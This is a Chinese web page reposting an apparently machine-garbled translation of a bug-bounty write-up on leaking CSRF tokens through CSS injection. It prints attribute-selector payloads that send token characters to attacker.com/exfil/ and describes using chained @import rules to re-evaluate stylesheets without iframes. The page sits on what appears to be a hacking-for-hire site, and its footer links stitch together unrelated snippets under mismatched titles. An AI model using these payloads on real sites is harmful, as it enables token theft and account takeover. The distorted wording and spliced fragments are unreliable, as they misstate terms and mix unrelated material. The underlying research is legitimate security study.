渗透技术再升级:如何利用HTML注入泄漏用户数据-黑客接单平台

访客5年前黑客资讯850
本文首要详细分析了我怎么从头发现一种缝隙运用技能,成功绕过现有的缓解办法,对方针产生了适当有限的影响,并取得了5位数的奖金。 启示:一个古怪的HTML注入事例 André Baptista和Cache-Money正在研讨一个十分古怪的缝隙。这一缝隙开端是一个简略的字符集绕过,经过一系列张狂的缝隙运用过程后,演变成方针其他方位的HTML注入(不是完好的XSS)。这是一个十分酷的缝隙运用链,能够说这两位研讨者现已取得了必定成果,但要进行下一步运用,还存在一些问题。 在得知他们所取得的发展之后,我开端考虑是否能够供给一些协助,以提高这一缝隙的运用办法。现在,咱们能确认的最严峻的运用程度,是一次相对有用的点击绑架。0xACB(Andre)和Cache-Money有一个十分棒的思路,便是怎么将更多的进犯链衔接在一起,以潜在的完成高影响力,但我有一个不同的思路。 当咱们确认,在默许情况下,DomPurify能够完成款式符号之后,我开端考虑,是否能够运用CSS做更多工作,而不仅仅是操作DOM。假如咱们现已阅读过我之前的文章,想必现已了解,我对CSS注入缝隙运用比较了解。但惋惜的是,这个页面具有结构维护(Frame Protection),需求一些用户交互来触发注入。假如咱们想要走漏灵敏的信息,好像需求很长的时刻来完成,或许需求很多天。当然,这是一个弱的,且简单出现问题的进犯办法,而且最多咱们只能取得小4位数的奖金。 我需求一种办法来完成对浏览器的进犯,而且这种办法更好无需从头加载、iframe或其他用户交互。由此,我从头评价了多个CSS Payload,并测验进行相似这样的进犯。此外,由于对能够注入的Payload的长度有约束,所以能够更进一步。所以,我开端考虑一些值得重视的CSS功用特性,在@import之前,好像不或许只运用标签来完成运用。 CSS注入入门 在深化了解该缝隙运用技能之前,我想先花费一小段时刻,来描述一下CSS注入中运用的传统Token浸透技能。假如各位读者现已了解,请直接跳到下一章。此外,在我之前的博客文章中愈加深化地介绍了该技能。 传统的CSS注入Token浸透技能,依赖于称为特点选择器(Attribute Selectors)的CSS特性。假如该元素的特点满意选择器指示的条件,那么特点选择器将答应开发人员指定特定款式,该特定款式仅运用于该元素。 咱们能够运用特点选择器,创立仅在某些条件下运用于页面上灵敏元素的规矩。然后,咱们能够运用像background-image这样的特点,使浏览器在运用这些款式时调用进犯者操控的体系。这样一来,咱们便能够树立一个唆使Token走漏的反应循环。 input[name=csrf][value^=a]{ background-image: url(https://attacker.com/exfil/a); } input[name=csrf][value^=b]{ background-image: url(https://attacker.com/exfil/b); } /* ... */ input[name=csrf][value^=9]{ background-image: url(https://attacker.com/exfil/9); } 在这一示例中,咱们告知浏览器“假如CSRF Token以a最初,那么就将布景图画设置为https://attacker.com/exfil/a上的图画”。随后,咱们对Token或许存在的一切开始字母重复这一规矩(a、b、c……7、8、9等)。 一旦咱们知道了Token的榜首个字符是什么,咱们就能够再次履行进犯(一般运用iframe),咱们需求略微修正一下Payload。 input[name=csrf][value^=ca]{ background-image: url(https://attacker.com/exfil/ca); } input[name=csrf][value^=cb]{ background-image: url(https://attacker.com/exfil/cb); } /* ... */ input[name=csrf][value^=c9]{ background-image: url(https://attacker.com/exfil/c9); } 在此示例中,咱们假定CSRF Token的榜首个Token是c。经过这种办法,咱们能够从头运转从前的规矩,来确认CSRF Token的第二个字符,但一切Token都以c为最初。 该技能的先决条件如下: 1. CSS注入需求答应满足长的Payload; 2. 需求能够构建页面以触发CSS从头评价新生成的Payload; 3. 需求能够运用外部保管的图画(或许被CSP阻挠)。 这意味着,假如注入不答应满足巨细的Payload,或许页面不答应运用结构,那么这种技能将不适用。在咱们的比如中,就无法运用这种技能,由于存在结构的缓解,而且咱们实践能够注入的字符数量是有限的。 找到救星:@import 许多编程言语都能够从其他源文件导入代码,CSS也不破例。虽然许多人或许只知道,但CSS自身实践上有一种办法能够运用名为@import的at-rule履行相似(但不同)类型的款式表包括。 在大多数情况下,@import履即将获取的款式表直接交换到当时款式表中。这答应开发人员引进外部款式,一起掩盖@import行下面的外部资源中界说的任何不需求的指令。 在某些浏览器(即Chrome)中完成此功用,存在另一个值得重视的副作用,外部资源能够与浏览器并行获取,一起处理款式表的其余部分。我的了解是,这种行为增加了页面的TTI,一起企图减轻“无格局内容的闪耀”(Flashed of Unstyled Content,参阅:FOUC问题),但它在实践的缝隙运用中有所协助。 幻想一下,咱们有一个包括以下款式表的网页: @import url(http://laggysite.com/base.css); * { color: red; } Chrome会经过3个过程处理此款式表: 1. 向http://laggysite.com/base.css宣布恳求 2. 评价剩下的指令(apply * { color: red; }) 3. 当http://laggysite.com/base.css回来时,将呼应替换为款式表,并从头评价款式表。 当@import方针呼应模拟与原有技能中iframe所需的相同“操控从头评价CSS”行为的才能时,咱们能够运用这种浏览器的行为,来从头评价款式表。咱们运用@import的仅有要求是,咱们有必要能够操控款式符号的最初部分,由于这实践上是要完成HTML注入。 为此,咱们将在款式表中创立一些@import规矩,让咱们的服务器坚持一切衔接的敞开。然后,咱们运用规范的CSS注入Token exfil Payload,从target特点中提取榜首个Token。在咱们的服务器从后台款式接收到这一Token之后,咱们就能够生成下一个Token exfil Payload,并运用新创立的Payload呼应下一个待处理的@import规矩。[1][2]黑客接单网

相关文章

有钱就能随心所欲?揭秘竞价排名背面的黑色产业链

万事不明白都有搜索引擎。在现代生活中搜索引擎成为了比百科全书更为全面的存在。但咱们不了解的是,每一条搜索成果背面,或许都是黑产演出的“实在扮演”。 搜索引擎再遭炮轰? 最近,六六在微博揭露炮轰国内搜索...

赌博有假怎样看出来

因此脚本会首选修改ACL来提权,因为这相比创建用户的方式更隐秘一些。 具体方式是通过LDAP修改域的安全描述符(Security Descriptor),可以在下面的数据包中看到ACL中每一条具体的访...

百度官方wormHole后门检测记载

 本次这个安卓后门真是哔了狗了,刚参加大安卓阵营就出了这个篓子,跟你root不root和什么安卓版别没有版毛钱联系,完全是百度SDK官方供给的后门,不是缝隙,人为的。 乌云地址: http://dro...

用电话号码找人

事实上,一些歹意安排或许现在正在做这样的工作。 有一些歹意安排,在一段时间内曾隐姓埋名,但现在又浮出水面。 可是,他们这一次运用了不同的TTP,而所运用的TTP却纷歧定是更好的。 相应的比如是Cozy...

因赌博欠外债五十万,不知道该怎么办了

models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL sett...

黑客免押金接单入_网站密码破解

无SharedArrayBuffer的作业原理无AFLSmart 的装置黑客免押金接单入,网站密码破解 名为databefore,datainject和dataafter的部分让其网络注入看起来类似于...